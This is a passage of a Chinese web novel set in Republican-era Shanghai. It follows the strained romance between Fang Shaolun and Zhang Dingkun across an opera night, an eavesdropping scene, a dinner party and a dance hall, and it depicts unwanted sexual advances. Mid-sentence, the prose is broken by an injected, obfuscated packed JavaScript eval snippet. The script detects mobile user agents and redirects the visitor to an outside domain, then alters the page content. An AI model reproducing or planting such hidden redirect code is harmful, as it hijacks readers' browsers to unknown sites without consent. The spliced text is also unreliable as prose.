二人轻言细语,在听戏的间隙里,时不时的扯谈几句。 张定坤看在眼里,便把那桌椅茶几磕得怦怦作响,又翘着二郎腿,摇头晃脑的跟着台上哼唱:“……老薛保进机房双膝跪落,双膝跪落,问三娘发雷霆却是为何……” 跟着老生哼完,又跟着旦角哼,“……你道他年纪小,心不小,说出话来赛铜刀……” 看方绍伦总不回转身,还拿手指点他后脊,“大少爷,绍伦,绍伦……” 方绍伦只好转过身,他得意的扬起眉毛,“你看言老板唱得好不好?” “怎么不好?你听这一句。”方绍伦下巴向戏台的方向抬了抬,言老板正掐着兰花指戳小生的脑袋:“……骂一声小奴才真个劣性……” 张定坤嘿了一声,低笑道,“嗯,骂的好。” 他这么做低伏小的,方绍伦便不好再下他面子,端正坐了看戏。 脑海里却不由自主想起从前的光景,他打小便爱听说书爱听戏,在张三调去方学群身边前,这种场合两人总是凑一块的。 他把剥好的瓜子去了皮的花生放他手里,瞅着念白打坐的点,把杏仁葡萄干塞他嘴里,茶水也端到唇边,还能跟着他哼上两句,那些一块看戏的公子哥谁不羡慕他有个伶俐周到的长随…… 18.第 18 章 两出戏唱完已近午夜,郭冠邦约他二人去吃宵夜,“待月楼的红烧鮰鱼绍伦尝过吗?配纪家巷的杏花村是一绝,正好定坤兄来了,咱仨一块去畅饮一番如何?” 方绍伦婉拒了,“郭兄好意本不该推辞,实在是这手不方便。”他举了举胳膊,“医生说饮食还得忌口,只能下次再请郭兄了。” 郭冠邦点头,“事不凑巧,不便强求,那我让司机送绍伦先回去,定坤兄,咱俩一块……” 张定坤笑道,“咱俩还客气什么,我先把我家大少爷送回去吧,不然等回了月城,老爷子要怪我伺候不周到。咱们改日再聚。” 他扶了方绍伦的胳膊,“车就在门外,大公子请吧。” 他这话说得有些不像,但方绍伦不能不给他这个面子,毕竟同出西南,关起门打架,敞开门来他们是一家人。 走到那辆黑色别克牌小汽车跟前,不等张定坤替他开门,方绍伦用不甚灵便的左手迅速扯开前门坐了进去,一脸得色的瞄了张定坤一眼,他是傻才会再跟这个狗东西同坐后排。 结果张定坤乐呵呵的绕车一圈,坐进了驾驶室,方绍伦瞠目结舌,“你没带司机?” “没带,我自己开车来的。”不等方绍伦下车,他就发动了油门。 他打电话到饭店,知道方绍伦应了郭冠邦的邀约来看戏,立马就把赵文赵武打发回去,屁颠屁颠的开车来了大戏院,就等着散戏后送他。 “绍伦,我得罪你了吗?你一整晚上对我鼻子不是鼻子眼睛不是眼睛的。”张定坤是典型的得了便宜还要卖乖。 方绍伦白他一眼,“你没有得罪我,你只是听不懂人话。” “什么叫我听不懂?你以为我愿意老这么腆着张热脸来贴你的冷屁股,”张定坤满腹委屈,“你懂不懂什么叫情不自禁、覆水难收?我一腔情意就搁你身上了,我能有什么办法?” 方绍伦愣一下,嚷道,“都说了叫你别白费……” “这是我能控制的?”张定坤比他还大声,“你长这么大个子,让我搁一下怎么了?又不会掉二两肉。” “可是我恶心。” 这话算说得重了,张定坤却浑不在意,反而顺着话杆子往上爬,“恶心?你对着我就说恶心,对着郭三多亲热呀,一口一个郭兄,说话都要贴他脸上去了……”他手把方向盘,脚踩油门,眼睛却瞄在方绍伦脸上。 “你少TM血口喷人!谁贴他脸上了,你以为个个都跟你一样轻浮张狂。”方绍伦白他一眼,戏台上锣鼓喧天,说话是凑近了些,贴脸贴耳朵那是绝没有的。 张定坤对他的斥骂不以为意,“你知道我今天为什么火急火燎的来?绍伦,我可跟你说,就算我张三不是什么好人,这郭三可比我还坏得多哩,你不要被他温文儒雅的样子给骗了,我给他取了一外号就叫‘笑面虎’……” “啧啧,你当面跟人称兄道弟,背后这么埋汰人家?”方绍伦忍不住嘲笑他,“你也知道自己不是什么好货色?但我跟你说,你不要以己度人,郭兄乐善好施,又有担当,有谦谦君子之风……” “哦?”张定坤踩了一脚油门,将车速降低了些,“怎么个乐善好施?又怎么个有担当了?大公子帮我解解惑。” 方绍伦便将那慈幼局的追到戏院来拉赞助,又将白慧玲的事说了,“那支票我亲眼看着他签的,还能有假?还有白小姐,家中遭此大难,郭兄对她一片赤诚,若能护着她,往后多少有个倚仗……” “嗬……”张定坤不等他说完,哂笑出声,“绍伦,你知道郭家每年要在慈幼局挑多少人吗?还有那个白小姐,现在沪城有多少人打她的主意,想娶她当姨太太,你清楚吗?” “什……什么意思?”经过这个晚上,方绍伦对郭冠邦的印象正好,听了这番诋毁的话,不由得拧紧了眉头。 张定坤一脚刹车,把小汽车停到了僻静的马路边,扭过身子,正色看着方绍伦,“绍伦,你如今可不是十七八岁了,不能再这么天真了。你赖着性子不肯长大,人家可不会再把你当小孩。如今这世道,你要还听什么就是什么,看到什么就信什么,迟早要吃大亏。我又不能天天守着你……” “你打住!”方绍伦赶紧制止他继续混说,“你停车干什么,赶紧送我回去……” “看样子,你是不信我说的了?好!”张定坤点头,发动油门,把方向盘一甩,又按着来时的路绕回去了。 “你这是干什么?”方绍伦不解的瞪大眼睛。 张定坤冷笑一声,“我带你去看看郭大善人的真面目。” 方绍伦好奇心顿起,便也没吱声。 张定坤把车开回大戏院附近,停在一处阴影里,下车替他拉开车门,拽起他的左手就走,方绍伦挣了两下挣不开,也就随他去了。 张定坤牵着他,做贼似的,闪躲过一两处岗哨,趁着月色微光,七拐八拐的来到戏院背后的一栋两层小楼外。 附在他耳边低声道,“戏班子上场前都在这楼里歇坐、妆扮,运气好就能给你加场戏,嘘,”他冲他比了个手势,“别出声。” 他扶着他的胳膊,猫着腰,顺着一丛篱笆钻过去,轻手轻脚跨过一道臭水沟,饶过几丛芭蕉,站到了一堵断墙边。 此时这栋二层的小楼,只有二楼一个房间亮着灯,昏黄的光线在夜色里漾开一圈涟漪。 张定坤指指那堵断墙,示意方绍伦骑上去,两人小时候没少干这种爬梁翻墙钻狗洞的糗事。 方绍伦抬头看看窗户上映出的两道人影和隐隐传来的说话声,好奇心有些按捺不住,依着张三的指点,踩着砖头,在他的扶持下悄摸的爬上了那堵断墙,蹲坐下来。 张定坤比他利索得多,几步腾挪,就坐到了他的身后。伸开两条长腿夹着他的腰,皮靴交错,搁到他前面。一双胳膊绕过来,将他搂进了怀里。 方绍伦这才发现自己又上了这狗东西的当,这姿势小时候骑墙上蹲一块不觉得有什么,是他生怕他掉下去护着他。 可如今这年纪再加上之前那档子事,方绍伦立马不自在起来,挣扎着要推开他,张定坤却一根手指压到他唇上,又指了指那扇近在咫尺的窗户。 方绍伦止住动静,凝神细听,窗户里传来“啪啪啪”的鞭炮声,但是细细的脆脆的,不像是放鞭炮。 他正纳闷着,蓦地听到一声低低的呜咽,片刻之后一把尖细的嗓子哽咽道,“……爷……不行了……实在受不住了……” 那鞭炮声却陡然间就加大了些许,就像有人加大力道挥动着鞭子……鞭子……方绍伦的眼睛一下子就睁大了。 更令他震惊的在后头,窗户里传来郭冠邦那道低沉温和的嗓音,“贱皮子,这就受不住了?爷还没有好好疼你呢……” 声音在冬夜的寒风里跟淬了冰一般,让人毛骨悚然。 方绍伦讶异的睁大双眸,忍不住转头去看向张定坤。 张定坤向他眨了眨眼睛,那双眼睛实在也不怎么大,却在夜色里泛着锃亮的光,眼底的讥诮和得意展示得一清二楚。 方绍伦恼怒的转过头,窗户里头的声音却愈发的清晰、不堪起来,皮鞭声混合着淫词浪语,夹杂着吮吸嘬弄,越往后越分不清那到底是愉悦还是痛苦…… 方绍伦头昏脑胀,直到感觉有什么硬梆梆的戳着他的后腰…… 他连呼吸都被惊住,想也不想,回头就是一巴掌,手腕却被张定坤一把攥住,他双手合十做了个求饶的手势,指指窗户,又松开腿,小心翼翼牵着他原路返回。 等两个人坐到车上,他立马开口,“对不住,生理反应,大公子原谅则个。”他拱了拱手。 方绍伦咬了咬牙,“赶紧送我回去。” 他脑子里乱糟糟的,在汽车的轰鸣声里问道,“刚那是郭三的相好还是他胁迫人家?” “那谁知道呢?”张定坤一边开车一边瞄他的神色,“他带过几个戏子到饭局上来,看着都是一团亲热的模样。私底下是玩情趣还是玩胁迫谁分得清?” 方绍伦万万想不到看上去正人君子模样的郭冠邦私底下是这副德性,在他面前表现得对白慧玲一腔深情,转头就跟戏子狎昵淫乐,不由得问道,“他这点底细怎么就被你探听清楚了?” 张定坤不无得意,“咱们要跟人家做生意,动辄就是几万银洋的大买卖,不把底细探听清楚了,能放得下心?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14393233|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在旁人面前摆出一副高深莫测的样子,在方绍伦面前却总忍不住显摆,“我跟你说,这也不算什么,这沪城但凡有点头脸的人家,谁家没点阴私事?就拿这白家来说,有此一劫也不是无缘无故的……” 方绍伦来了点兴致,“白家那事,你都清楚?” 张定坤瞄见他眼底的好奇,勾了勾唇角,却道,“这事横竖跟你没关系,你别瞎掺和。” 他就差在脑门上写上,想知道吗?来问我。 这狗东西!方绍伦暗自腹诽,偏不如他愿,转头看向窗外。 张定坤兀自喋喋不休,“……白家偌大的产业谁不想攥手心里?白小姐只有两个幼弟幼妹,给她个姨太太的名分就能顺理成章接管这大注钱财……郭三为什么想娶她?你以为光是看中人?郭家在定城养了那么多人马,不费钱?郭家跟你们方家可不一样……” 方绍伦在他的训诫里对郭冠邦重新有了认识,大概不是什么好人,不过坐在他旁边这个也不是什么好货色,又是长三堂子又是舞小姐,据说理城还养了一个小,真不知道他哪里来的脸皮戳别人肺管子。 他不由得乜他一眼,“我们家跟郭家肯定不同,但你跟郭三倒是一丘之貉。” “嘿!”张定坤又是一脚刹车,美东饭店的招牌已经近在眼前,他却把方向盘一拐,停在了无人的巷子口,一只手拍了拍扶手箱,“大少爷,你且说说,我怎么跟他一丘之貉了?” 方绍伦不想搭理他,就这几步路,他走回去也得,推开门就下了车。 张定坤却是行动敏捷,跟着推门绕过车头,一把就将他压在了车门上,两只胳膊撑在他身体两侧,“说清楚,怎么一丘之貉了?” “要死吧你!”方绍伦手受了伤,只能抬脚,却被张定坤两个膝盖顶住了大腿,他的髋骨压在他的腹部,身体贴在一起,皮大衣上那种皮革的腥膻味笼罩下来。 方绍伦偏过头,“臭死了!起开!” 张定坤用两只胳膊牢牢圈着他肩膀,在月色里凝视着他的眉眼。 方绍伦被压在冰冷的铁皮盖上,背上冰凉,胸腔却蕴着一团火热,他也分不清到底是羞还是恼,张定坤低头吻了下来,他忙别过脸庞,“给老子起开!脏死了!” “脏?”张定坤伸出一只手掐着他的下颌,把他的脸掰过来,一双狼眸紧紧的盯着他,“除了你,老子没亲过别人!” 方绍伦嘴角泛起讥诮,“就说你跟郭三是一路货色,这话你有脸说我还没脸听!” 张定坤跟被污了清白的良家妇女一样,眉毛竖起来,用极委屈的声气喊道,“我还能骗你不成!是不是谁在你面前说什么了?生意场上的应酬是有的,当着人的面,姑娘硬往我身上蹭,我还把人推开?真要推开,可不就让人知道我的把柄了?” 他垂头低声在他耳边道,“但也最多隔着衣服搂一搂,亲嘴是绝没有的,绍伦,你要信我,三年前我亲了你那回……”他无限回味似的咂嘴,“别人再往我跟前凑,我也下不了嘴啦……” 他越发拥紧了他,把身体挺了挺,“我只对你有这个反应……” 方绍伦不敢置信的瞪大了眼睛,“张三!”他的脸腾地一下就红了,“你那是什么驴玩意儿!滚开……” 张定坤非但不滚,还压得更紧了些,箍着他的肩膀,在他耳朵边喘息着低语,“她们蹭来蹭去都不会这样,真的,绍伦,你信我……” 他在他耳朵边上摩挲,嘴唇轻嘬着柔嫩的耳垂,摸索着去找那张能令人沉沦的红唇,“绍伦,你对我是不是一样?绍伦……” 他一只手揽着他,一只手在他腰间胡乱的抠摸又辗转向下…… 方绍伦陡然清醒过来,使劲把他一推,张定坤只要一沉迷,就跟捧着一抔豆腐脑似的,轻轻托着,柔柔笼着,不由得卸了力道,一下就被推开了。 方绍伦想也不想,伸手就撸了他一个耳刮子,“张三,你把爷当什么了?!” 打完他自己也有点懵,不知道这一巴掌怎么这么容易就得手了。 索性跺了跺脚,“下次再敢这么着,老子见你一次打一次!”狠话放完,转身就跑,几步就窜回了美东饭店的霓虹灯影里。 19.第 19 章 方绍伦一夜不曾安睡,一会想到白慧玲,她家逢巨变已堪怜,不知道是否清楚郭冠邦的真面目?狎昵戏子自然是好男色的,对她能有几分真心? 不免又想到张定坤,他穷儿乍富,在沪城这种花色遍地的地方真能洁身自好?狗嘴里说的也不知几句真几句假,他如今已越来越不懂他了。 早上起来便跟袁闵礼商量,改车票,多留一个晚上,他想再去美东舞厅会会白慧玲。 袁闵礼不太赞成他的想法,“白小姐跟郭三爷不是一天两天了,他那点癖好脾性怎么瞒得住枕边人?我看白小姐像个有主意的,不然也不会到美东来挂牌。” 他听了方绍伦说的,倒不觉惊讶,沪城这些公子哥儿,一个个自诩风流,水路走多了,想试试旱路,包养优伶小倌,并不是什么稀奇的事情。 不过郭冠邦谦谦君子的形象竖立得颇好,袁闵礼在一块玩牌的公子哥中间没有听到他什么坏名声。 “不过既然三爷都这么说,想来是不会有假。”袁闵礼沉吟道。 张定坤总在他面前踩袁闵礼,但袁闵礼却在细微处肯定他。 方绍伦顿时觉得,论品行,张三真是不如闵礼多矣。 他当然不能说他跟张定坤是怎么发现这事的,说出来都丢人,只能含糊的说,张定坤说郭冠邦狎昵戏子,不是什么好人。 方绍伦轻拍他肩膀,“放心,我也就提醒白小姐一句,听不听是她的事。” 跟聪明人说话,点到即止即可,用不着说得太明白,毕竟往后还得在一个圈子里头打交道,也不能把郭冠邦彻底得罪了。 袁闵礼没有异议的去改了车票,又到魏公馆知会两位小姐推迟一日出发。 结果魏静怡听说他们晚上要去美东跳舞,立刻表示要一块去。十七八岁正是爱玩的年纪,拖着魏静芬的胳膊不撒手,“哎呀,六姐,一块去吧,难得姨娘不管我们。” 魏府的小姐想出门跳舞,要么哥哥们作陪,要么有合适的男伴邀约,单独去是不要想的。 魏静芬不太热衷跳舞,要她在那喧闹的环境里呆一个晚上,倒不如独坐闺房绣两片手帕子。 但是抬头看到袁闵礼瞧过来的目光,漆黑的眼珠划过她的面庞,唇角有微微的笑意。 她有些羞涩的低下头,“那……就去罢。”于是约定了时间去接。 袁闵礼回美东饭店去复命,正好碰到阿良端了饭菜,放到套间的小圆桌上,方绍伦用左手夹着吃,到底不甚灵便。 他走过去接过筷子,又指使阿良再去厨房端一份饭菜过来,“我跟你家少爷在房间吃点得了,你带四小姐去餐厅吃点好吃的,记到房间账上。” “好嘞!”阿良乐颠颠的下去端了一份天麻桂圆蒸鸡并几样清炒时蔬上来,方绍伦拿着调羹舀饭,袁闵礼间或夹菜到调羹上或者直接放他嘴边,两人边吃边聊。 “你昨儿去请两位小姐到月城小住,魏司令可说什么没有?”方绍伦问道。 袁闵礼摇头,“我说郭家三少爷约你听戏,所以不能亲自去请,魏司令说我当代表,他也没什么不放心的。” “我说什么来着?魏伯伯最不讲究那些虚的了,一定很看好你这个人材。”方绍伦替他高兴,“倘若魏家小姐相中了,想要嫁给你,他老人家一定会同意。不过,”他面上闪过促狭的笑意,“要是两位都看上你了……可怎么是好?” 袁闵礼夹起一个鸡腿塞到他嘴里,“尽胡咧咧,八字没一撇的事别瞎说。”又放下碗筷,伸手拿着鸡腿,示意他用牙齿撕扯,“我倒无所谓,小姐们的名声可要紧……” 两个人正说笑着,门上传来“磕磕”两声脆响,不等答话,一道身影拧开门径直走了进来。 张定坤今日穿薄绸长衫披一袭厚呢斗篷,施施然走进来,风度翩翩的模样。 一进门,脸上的笑意凝住,甩甩衣摆,径直在沙发上坐下,“我说袁敬怎么一天到晚不见人,是不是忘了,如今还挂职在我名下呢?” 袁闵礼默不作声,方绍伦原本见了他有些不自在,见他又挑闵礼的刺,说话阴阳怪气,便回了一句,“又不是卖给你了。” 张定坤见他维护袁闵礼,心里老大不趁意,冷哼一声,“这公司职级可是老爷子定的,他挂着我下属的名头,却一天到晚围着大少爷转悠,你且问问你爹,这像话不像话?” 方绍伦大概猜到他是不乐意袁闵礼给他喂饭,看着面前剩下的饭菜,低声道,“算了,我不吃了。” “哎,我可没说不让你吃饭啊,阿良呢?”他起身走到楼梯间去高声叫喊,“干什么去了?都不知道伺候少爷用饭!” 这人真是神憎鬼厌,方绍伦在他背后喊道,“不必叫人了,我不吃了!” 袁闵礼却端了那碗天麻桂圆鸡汤,拿瓷勺舀了一勺递到他唇边,“精华都在汤里,喝口汤吧,到底失了血气,很该补补。” 方绍伦看他眼神关切,低头抿了两口。 张定坤一回头,见两人举止亲密,牙齿咬得“咯咯”作响,却不肯走人,仍旧回到沙发上坐下。 “啪嚓”一声擦燃了火柴,点了一根烟,隔着升腾的烟雾看着圆桌前的两个人,高帮的皮靴“嘭”一声磕在茶几上,又“哐当”一声捶地板上。 方绍伦皱了一下眉,摇头道,“不喝了,闵礼。” 他转头看向昨晚上才被他赏了一个大耳刮子今天就浑然无事的人,“张三爷,大驾亲临有何贵干?” 两人的目光交汇,张定坤面色铁青,方绍伦转头看向一侧。 张定坤却又飞快的敛了神情,笑道,“我特地来请大少爷的,二少爷带着他的未婚妻妾也到沪城来了,晚上约你们一块到舍下用个便饭。” “令玮也来了?还带着他的未婚妻妾?”方绍伦皱眉想了想,“便是蔓英和那个……灵波?” 张定坤点头,“一对儿姐妹花,令玮真是艳福不浅。” 既然方令玮也来了,又是邀约大家一块,方绍伦不便再推脱。 到了五点钟,他和袁闵礼一起,带上方颖琳和阿良,坐了小汽车到张定坤复兴中路新买的公寓去。 因着饭后要去美东夜总会跳舞,几位男士都穿了西装,方颖琳也换了舞裙。 方绍伦让司机绕路去了一趟酒庄,包装了两只洋酒,不管张三这厮有多么讨厌,到底是头一回去人家新买的房子里做客,总不好空着手。 这么一耽搁,等侍从将他们迎上楼,房子里已经很热闹了。 “花孔雀”张三爷又换了衣裳,雪白的翻领衬衫外,一件收腰的西式马甲,面料是印花绸缎的,微闪着淋漓的波光,瞬间就将他与其他穿马甲的男士区分开来。 他手上夹着只雪茄,亲自来迎客,跟在他身后的赵武接过袁闵礼奉上的洋酒。 “客气了不是,屋里头热,赶紧把大衣脱了。”他把雪茄递给赵武,要亲自给方绍伦宽衣。 “自己来自己来。”方绍伦推脱着,袁闵礼要上前帮忙,张定坤隔开他,似笑非笑的,“大少爷向来是我伺候的,袁二公子今天是客人,快请上座。” 是被他使唤来使唤去的下属,还是“快请上座”的客人,在这厮嘴里可以视情形随意切换。 袁闵礼笑了笑,跨进了门厅。 方绍伦一只手不便,到底还是张定坤帮他脱了大衣,挂到门边的玻璃橱子里。 客厅沿壁烧着热水汀,一角的西式壁炉里燃着银霜碳,屋子里十分暖和。 方绍伦抬头打量着室内,虽说是坐电梯上来的,楼层并不低,天花板上描着彩绘,繁复的水晶灯直缀下来,映照得水磨石地板亮晃晃的。 这哪里是买了一层,原来是复式的两层,所以客厅特别高阔一些。 房子内部是当下最流行的西式装修,厚重的天鹅绒窗帘边摆放着宽大的真皮沙发,墙角的唱片机里正播放着乐曲,墙壁上挂着几幅油画。 “这厮倒会装风雅。”方绍伦腹诽一句,收回目光。 听到门口的动静,正跟几位女士站在一副油画前的方令玮回过头来,笑道,“大哥来了,快来瞧瞧定坤兄斥巨资购买的这副西洋油画,你是留过洋的人,见解必定不同寻常。” 几人站开,那副画露出全貌,方绍伦还没开口,跟在他身后的方颖琳已经“呀”的一声叫出声来,又捂上小脸。 “这就不用我点评了吧?”方绍伦乜了张定坤一眼,“这画挂客厅也只有定坤兄能有如此胸怀气度了。” 几人都笑起来,张定坤丝毫不以为杵,笑道,“我不信绍伦看不出,这可是名家大作。” 的确是名家大作,鲁本斯的《丽达与天鹅》,但会把这画堂而皇之挂客厅的也只有张定坤这种流氓加文盲了。 方绍伦看他还要长篇大论,赶忙将目光转向一旁的两位女士,“令玮,不介绍一下?” 方令玮牵了两位女士到他面前,“蔓英你是认识的,这位是灵波。” 方绍伦跟周蔓英小时候一块玩过,但她是令玮自小定下婚约的未婚妻,周家规矩大,平时无甚交际。 隔了几年不见,她已经出落得温柔娴静,有如姣花照水。再加上个子娇小,身段瘦削,真真是林黛玉似的人物,羸弱堪怜。 灵波既作了周家养女,便改姓周。她与蔓英截然相反,有可比北地女子的高挑身段,五官娇媚又不失英气,是颇有点王熙凤风范的大美人。 他和两人行了西式的握手礼,周蔓英有旧式女子的羞涩,触手即分,娇滴滴的 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方绍伦忙摆手,“这怎么好意思?我都没有给二位准备见面礼……” 周灵波却执意塞到他手里,方令玮也劝他收下,“我们家灵波从不说大话,她说不会留疤就一定不会。大哥放心,见面礼有的是时候给……” 他勾下头,和周灵波甜笑着对视。 方绍伦收下那盒子,分神去看周蔓英,却见她对二人眉目传情的模样毫不在意,反倒抬起羞涩面庞一脸佩服的看着周灵波。 他原本觉得妻弱妾强,令玮这后宅只怕难得安生,如今看来倒是他狭隘了,难怪张三那厮说他杞人忧天。 等到饭桌上,两位小姐更见和睦了,相互夹菜,小声凑一块说话,倒把方令玮晾到了一边。 袁闵礼正要在方绍伦身边落座,张定坤将他拉到方令玮旁边,“两位二公子一块喝一杯。”又冲阿良使了个眼色。 阿良会意,坐过去帮方绍伦夹菜。 方绍伦端起酒杯跟方令玮碰了碰,“你怎么也到沪城来了?” “唉,大哥你倒是躲了个清静,大姐成天搁家里闹腾,天天打电话喊我回去。”方令玮端着酒杯叹气。 他在外头有住所,不是非得回月湖的府邸,但方颖珊说服不了方学群,便找上方令玮,非得让亲弟替她做主,把方令玮烦得一个头两个大,干脆携二美同游沪城。 他举杯向今日的东道主,“定坤兄,你不娶我们家的母老虎也是幸事一桩,那泼劲儿一般男人都受不了。来来来,亲事不成,咱俩可还是兄弟,婚姻嘛,父母之命媒妁之言,随老爷子去折腾。” 方令玮这番话简直让方绍伦刮目相看,到底生意场上混了这几年,说话简直滴水不漏。 方学群不同意这门婚事,他自然知道根底。他与方学群便是戏文里唱的太子与皇帝,为保太子顺利登基执掌权柄,皇帝要打压重臣,太子则要拉拢,不能使忠臣良将寒心。 这一拉一拔,便是掌家者的制衡之道。 张定坤心里门清,而且也不是省油的灯,与方令玮碰杯畅饮,“唉,老爷子舍不得大小姐,我张家又只我一根独苗入不了赘,有缘无份,也是无可奈何。”语气端的十分遗憾。 方绍伦在一旁叹为观止。 旁侧里伸过来一只白玉小酒杯,一道柔和笑声道,“大公子,今日初见,灵波敬你一杯。” 她的位置与方绍伦之间还隔着两个人,特意款款走来向他敬酒,他忙站起身,“周小姐客气了。” 两人都照了照杯子,喝了个干净。 屋里暖和,周灵波脱了大衣,只穿了半袖的旗袍,露出白嫩的手腕子,衬得腕上的翡翠玉镯翠色盈碧,剔透美丽。 女士敬酒,男士自然没有不回敬之礼,方绍伦也敬了她一杯。 自然也不能只敬她,便向旁侧的周蔓英也举了举杯。 周灵波却端起周蔓英面前的酒杯,“姐姐偶感风寒,吃了中药,饮不得酒,这杯我替她。” 周蔓英在一旁拉她胳膊,柔声道,“灵波你少喝些,绍伦……方大哥也不是外人。”衣袖滑落,手腕间也露出一只翡翠手镯来,都是麻花绞缠的款式,与周灵波腕间的一模一样。 妻妾如此相得,方令玮倒真是艳福不浅。 方令玮和张定坤、袁闵礼推杯换盏,早喝过了三五轮,脸泛红晕的向方绍伦道,“大哥,爹说让你到魏家做客,我记得魏伯伯膝下女儿众多,可有一二相得者?” 方绍伦本待实话实说,眼角余光瞄到张定坤捏着酒杯的手指攥紧,便笑道,“个个都貌美如花,我实难抉择,只看魏伯伯舍得哪一个了。” 20.第 20 章 方令玮听说他们要上美东夜总会跳舞,他带周蔓英、周灵波来沪城本就为了玩乐,自然要一起去。 张定坤趁机起哄,一脸坦荡,“魏家小姐也会来?那我们正好替大公子掌掌眼。” 于是用过饭,一行人便往美东夜总会来。 此时天已黑透,华灯初上,人潮汹涌。 因是周末,人比往常还要多上一倍,两层楼的包厢都是满满当当,穿白衬衫的侍从脚下像踩了风火轮,在人潮里挤插着上酒水、果盘。 大概是张定坤给郭冠邦挂了电话,等他们到,郭三爷早包了最靠近舞台的两个大包厢,酒水茶点一应齐全,连牌桌都码好了。 郭冠邦一只手拖着方令玮,一只手又来拖方绍伦,朗声笑道,“我正说大公子走得匆忙,不曾玩尽兴。二公子来得正好,上回牌桌上账可还没清呢,说说罢,今天玩多大的底?” 方绍伦听完墙角,看见郭冠邦那张温和淡笑的面孔就有些瘆得慌,哪里还敢跟他玩牌,好在他有现成的借口,扬起右手掌,“码牌不便,你们玩。” “这还不容易,给你找个专职砌牌的,保准又快又齐。”郭冠邦转身命侍从叫了个舞小姐进来。 方令玮在一旁向他打眼色,“他今天有任务,要陪小姐们跳舞哩,这手受伤抓牌是不太方便,放小姐们腰上倒是正正好。” “哦,这样啊。”郭冠邦意会到,笑着拉了张定坤和方令玮,又邀了袁闵礼入座,四个人搓起麻雀牌来。 叫进来的舞小姐便坐到他身后看他打牌,方令玮座旁是周灵波,魏静怡坐在袁闵礼旁侧,只有张定坤身边空着。 余下不爱打牌的几个都在隔壁包厢嗑瓜子聊天。 白慧玲还没到,方绍伦不便就走,绕着牌桌转了两圈,在张定坤身边坐下了。 他刚落座,张定坤便摸了个幺鸡,胡了个清一色,回头笑道,“大公子真是旺我,坐着别走了呗,扎个鸟,赢了咱俩对半分。” 方绍伦白他一眼,“输了怎么办?我可没带钱。” 郭冠邦“哈哈”笑,“有绍伦送这个恭喜,今儿我们稳赢。” “输了还能怪财神不成,赢了分你,输了算我的。”张定坤跟他打眉眼官司,“大公子跟前,我横竖只有吃亏的份。” 方绍伦深悔跟他搭话,但张定坤得寸进尺,眼睛瞄一眼水果盘,很理所当然道,“劳驾。” 他当着众人一副开玩笑的口吻,方绍伦拒绝反倒扎眼,用眼神挖了他一眼,伸出左手叉了一块蜜瓜塞他嘴里,实实在在的塞,张定坤“唔”了一声,对面的周灵波“噗嗤”一声笑出来。 方令玮不明所以,把丢到桌上的麻雀牌攥回去,“怎么?我打错了?” 郭冠邦在一边叫道,“放下啊令玮,这牌我得吃。” 白慧玲一直到九点钟才姗姗来迟,而且不是一个人来的,还带了一位身姿曼妙,面庞娇媚的少妇。是袁闵礼和方绍伦的老熟人,苏娅萍女士。 两位女士一进包厢都先脱了大衣,白慧玲穿一件印度红的改良旗袍,光着两只膀子。 苏娅萍则是一袭墨绿的海绒旗袍,半袖到肘间,露出白嫩的手臂,指尖几只明晃晃的宝石戒子。 她走上前跟方绍伦打招呼,“哟,方大少爷,回来了?好多年不见了。张三爷也在啊?” 方绍伦站起身跟她握手,“苏小姐,好久不见。”张定坤在一旁纠正他,“是关太太。” 他一边搓着手中的麻雀牌,一边抬眼问道,“关太太今天怎么有兴致出来玩?” 白慧玲替她回答,“我跟关太太是老同学嘛,今天拖她去逛百货公司,所以来晚啦。” 她显然跟张定坤比较熟,俯身去看他的牌,娇笑道,“三爷牌打得好,舞也跳得好,咿,今天怎么没喊黄莺?她可天天都念叨着……” “咳!”张定坤重重的咳了一声,又笑道,“多亏我没有女朋友,不然得被你们冤死,黄小姐是舞林高手,要算我半个师傅。” 他偷眼去看方绍伦,大少爷扭过头,压根没看他。 “算我多嘴。”白慧玲笑嘻嘻的走到郭冠邦身后,伸出两条白花花的胳膊搂住他脖子,撒娇道,“哎呀,今天可花了不少钱哩。” 原本坐在郭冠邦身后的舞小姐很识趣的起身,让出位置,冲旁边一个侍从官招招手,两人牵手滑入了舞池。 郭冠邦的目光在白慧玲和苏娅萍身上转了一圈,拍拍她胳膊,宠溺的笑道,“记在账上就是了,值当什么。过来,看我打牌,给你赢件新的貂皮袄子。” 袁闵礼站起身招呼苏娅萍,“关太太,要不要搓两圈?今天手气不佳,正盼个人来帮我转转运。” 方绍伦最佩服他这一点,即使旧爱相见,他面上仍是一贯的温文浅笑,眼神里半点尴尬也无,大大方方的让人挑不出错处。 苏娅萍也不忸怩,走到他那一方牌桌前坐下,娇笑道,“我可不太会看牌哩,输了可不要怪我呀。” 沪城长大的女子哪个不会玩这个?她这么说,是要袁闵礼看她打的意思了,袁闵礼便在她身侧坐下来。 方绍伦一眼也不看频频向他投注眼风的张定坤,见原本坐在袁闵礼身后的魏静怡一脸不虞,便走过去,笑道,“不知我这半个残疾,有没有荣幸请魏小姐跳支舞?” 袁闵礼隔空递给他一个感激的眼神。 魏静怡正气闷着,自然应约。 两人携手走出包厢,舞厅里播放着华尔兹,音乐悠扬缓慢,她在他耳边低声问道,“方世兄,闵礼哥哥跟这个关太太很熟吗?” 方绍伦听她说话声音娇滴滴的,跟方颖琳撒娇时一般,起了点逗弄的心思,笑道,“静怡小姐,你要打听消息是不是也先把称呼改改?这亲疏立现的,我到底是说好呢还是不说好呢?” 魏静怡在他的臂弯里露出狡黠的笑脸,“哎呀,绍伦哥哥你快别逗我啦。”二人固然在车上起过一点小小的纷争,但决不至于影响交情。 方绍伦受伤的右手轻搭在她肩膀上,并没有像一般跳舞那样握住女子的纤腰,但既是说袁闵礼的私事,他便凑近魏静怡的耳旁,低声道,“关太太嘛,她是闵礼的前女友。” “啊,”魏静怡小小的惊呼一声,“难怪……”她的柳叶眉蹙起来。 方绍伦笑道,“闵礼当初可是我们耀华中学一等一的美男子,追他的女生可多了,有前女友很奇怪吗?我以为静怡小姐是新女性,不会介意这些。” 如果袁魏两家真要结成连理,这些都是不能骗人的事情,由方绍伦来交待一下,倒不是什么坏事。 